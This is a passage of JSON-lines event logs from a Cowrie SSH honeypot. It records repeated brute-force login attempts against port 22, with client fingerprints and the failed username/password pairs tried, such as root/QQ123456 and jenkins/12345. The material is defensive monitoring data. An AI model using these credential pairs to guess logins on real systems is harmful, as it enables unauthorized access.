ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:24.283697Z","src_ip":"192.109.200.78","session":"455a2055d330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:24.535850Z","src_ip":"192.109.200.78","session":"455a2055d330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:25.622435Z","src_ip":"192.109.200.78","session":"455a2055d330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50156,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed72e25a52da","protocol":"ssh","message":"New connection: 192.109.200.78:50156 (10.17.0.5:22) [session: ed72e25a52da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:28.427253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:28.432008Z","src_ip":"192.109.200.78","session":"ed72e25a52da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:28.517029Z","src_ip":"192.109.200.78","session":"ed72e25a52da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:28.766024Z","src_ip":"192.109.200.78","session":"ed72e25a52da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:29.851575Z","src_ip":"192.109.200.78","session":"ed72e25a52da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43982,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb31b1be027","protocol":"ssh","message":"New connection: 159.203.92.129:43982 (159.203.135.109:22) [session: 0eb31b1be027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:30.268449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:30.273758Z","src_ip":"159.203.92.129","session":"0eb31b1be027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:30.282745Z","src_ip":"159.203.92.129","session":"0eb31b1be027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:30.295870Z","src_ip":"159.203.92.129","session":"0eb31b1be027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:31.303075Z","src_ip":"159.203.92.129","session":"0eb31b1be027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50172,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c49ee4048ca","protocol":"ssh","message":"New connection: 192.109.200.78:50172 (10.17.0.5:22) [session: 7c49ee4048ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:32.588622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:32.593463Z","src_ip":"192.109.200.78","session":"7c49ee4048ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:32.678385Z","src_ip":"192.109.200.78","session":"7c49ee4048ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:32.924408Z","src_ip":"192.109.200.78","session":"7c49ee4048ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:34.009894Z","src_ip":"192.109.200.78","session":"7c49ee4048ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f2d74dd3081","protocol":"ssh","message":"New connection: 192.109.200.78:50180 (10.17.0.5:22) [session: 4f2d74dd3081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:36.824402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:36.829136Z","src_ip":"192.109.200.78","session":"4f2d74dd3081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:36.920945Z","src_ip":"192.109.200.78","session":"4f2d74dd3081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:37.175431Z","src_ip":"192.109.200.78","session":"4f2d74dd3081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:38.261982Z","src_ip":"192.109.200.78","session":"4f2d74dd3081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52524,"dst_ip":"10.17.0.5","dst_port":22,"session":"2647b0e5c0de","protocol":"ssh","message":"New connection: 192.109.200.78:52524 (10.17.0.5:22) [session: 2647b0e5c0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:40.939757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:40.944645Z","src_ip":"192.109.200.78","session":"2647b0e5c0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:41.027486Z","src_ip":"192.109.200.78","session":"2647b0e5c0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:41.276625Z","src_ip":"192.109.200.78","session":"2647b0e5c0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:42.360701Z","src_ip":"192.109.200.78","session":"2647b0e5c0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52532,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc7eb3339f49","protocol":"ssh","message":"New connection: 192.109.200.78:52532 (10.17.0.5:22) [session: fc7eb3339f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:45.050052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:45.053531Z","src_ip":"192.109.200.78","session":"fc7eb3339f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:45.137998Z","src_ip":"192.109.200.78","session":"fc7eb3339f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:45.393769Z","src_ip":"192.109.200.78","session":"fc7eb3339f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:46.484416Z","src_ip":"192.109.200.78","session":"fc7eb3339f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36032,"dst_ip":"10.17.0.5","dst_port":22,"session":"106123526845","protocol":"ssh","message":"New connection: 192.109.200.78:36032 (10.17.0.5:22) [session: 106123526845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:49.265100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:49.270237Z","src_ip":"192.109.200.78","session":"106123526845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:49.352187Z","src_ip":"192.109.200.78","session":"106123526845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:49.607477Z","src_ip":"192.109.200.78","session":"106123526845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:50.693904Z","src_ip":"192.109.200.78","session":"106123526845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36040,"dst_ip":"10.17.0.5","dst_port":22,"session":"5423272f6161","protocol":"ssh","message":"New connection: 192.109.200.78:36040 (10.17.0.5:22) [session: 5423272f6161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:53.479012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:53.482999Z","src_ip":"192.109.200.78","session":"5423272f6161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:53.564569Z","src_ip":"192.109.200.78","session":"5423272f6161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:53.815994Z","src_ip":"192.109.200.78","session":"5423272f6161","protocol":"ssh"}
